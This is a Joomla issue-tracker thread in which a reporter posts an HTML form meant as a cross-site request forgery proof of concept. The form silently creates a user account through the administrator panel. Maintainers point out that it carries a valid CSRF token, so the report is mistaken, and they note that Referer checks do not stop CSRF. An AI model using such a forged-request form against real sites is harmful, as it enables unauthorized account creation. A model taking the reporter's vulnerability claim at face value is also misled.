?
avatar yuzezheng416
yuzezheng416
21 Oct 2019
### Steps to reproduce the issue
After the administrator logged in open the page
<html>
  <body>
    <form action="http://172.16.100.15/cms/administrator/index.php?option=com_users&layout=edit&id=0" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="jform&#91;name&#93;" value="test" />
      <input type="hidden" name="jform&#91;username&#93;" value="test" />
      <input type="hidden" name="jform&#91;password&#93;" value="test" />
      <input type="hidden" name="jform&#91;password2&#93;" value="test" />
      <input type="hidden" name="jform&#91;email&#93;" value="test2&#64;qq&#46;com" />
      <input type="hidden" name="jform&#91;registerDate&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;lastvisitDate&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;lastResetTime&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;resetCount&#93;" value="0" />
      <input type="hidden" name="jform&#91;sendEmail&#93;" value="0" />
      <input type="hidden" name="jform&#91;block&#93;" value="0" />
      <input type="hidden" name="jform&#91;requireReset&#93;" value="0" />
      <input type="hidden" name="jform&#91;id&#93;" value="0" />
      <input type="hidden" name="jform&#91;groups&#93;&#91;&#93;" value="2" />
      <input type="hidden" name="jform&#91;params&#93;&#91;admin&#95;style&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;params&#93;&#91;admin&#95;language&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;params&#93;&#91;language&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;params&#93;&#91;editor&#93;" value="&#13;" />
      <input type="hidden" name="jform&#91;params&#93;&#91;timezone&#93;" value="&#13;" />
      <input type="hidden" name="task" value="user&#46;apply" />
      <input type="hidden" name="c974c45d533f4be963804a5d041a86a8" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image

A user is added

Recommended verification HTTP Referer

Expected result

Actual result

System information (as much as possible)

Additional comments

avatar yuzezheng416 yuzezheng416 - open - 21 Oct 2019
avatar joomla-cms-bot joomla-cms-bot - change - 21 Oct 2019
Labels Added: ?
avatar joomla-cms-bot joomla-cms-bot - labeled - 21 Oct 2019
avatar yuzezheng416 yuzezheng416 - change - 21 Oct 2019
Status New Closed
Closed_Date 0000-00-00 00:00:00 2019-10-21 03:02:30
Closed_By yuzezheng416
avatar yuzezheng416 yuzezheng416 - close - 21 Oct 2019
avatar yuzezheng416 yuzezheng416 - change - 21 Oct 2019
Status Closed New
Closed_Date 2019-10-21 03:02:30
Closed_By yuzezheng416
avatar yuzezheng416 yuzezheng416 - reopen - 21 Oct 2019
avatar yuzezheng416 yuzezheng416 - change - 21 Oct 2019
The description was changed
avatar yuzezheng416 yuzezheng416 - edited - 21 Oct 2019
avatar yuzezheng416 yuzezheng416 - change - 21 Oct 2019
The description was changed
avatar yuzezheng416 yuzezheng416 - edited - 21 Oct 2019
avatar yuzezheng416 yuzezheng416 - change - 21 Oct 2019
The description was changed
avatar yuzezheng416 yuzezheng416 - edited - 21 Oct 2019
avatar yuzezheng416 yuzezheng416 - change - 21 Oct 2019
The description was changed
avatar yuzezheng416 yuzezheng416 - edited - 21 Oct 2019
avatar SniperSister
SniperSister - comment - 21 Oct 2019
  <input type="hidden" name="c974c45d533f4be963804a5d041a86a8" value="1" />

This IS the CSRF token and it's properly checked in the controller task, see
https://github.com/joomla/joomla-cms/blob/3.10-dev/libraries/src/MVC/Controller/FormController.php#L627

Do I miss something?

avatar yuzezheng416
yuzezheng416 - comment - 21 Oct 2019

I can successfully add user in the local test, emm lack Verify the HTTP Referer field

avatar SharkyKZ
SharkyKZ - comment - 21 Oct 2019

But you're logged in as admin?

avatar SniperSister
SniperSister - comment - 21 Oct 2019

I can successfully add user in the local test

With the form shown above? Yes, of course you can, because it has a valid CSRF token! Remove that field from your payload and you won't be able to add a user because the token check fails.

avatar SniperSister
SniperSister - comment - 21 Oct 2019

Side note:

Verify the HTTP Referer field

Verifying the referrer field does not protect you against CSRF attacks because the referrer is a user supplied input and can be easily changed to a value of your choice.

avatar SniperSister SniperSister - change - 21 Oct 2019
Status New Closed
Closed_Date 0000-00-00 00:00:00 2019-10-21 08:14:56
Closed_By SniperSister
avatar SniperSister SniperSister - close - 21 Oct 2019

Add a Comment

Login with GitHub to post a comment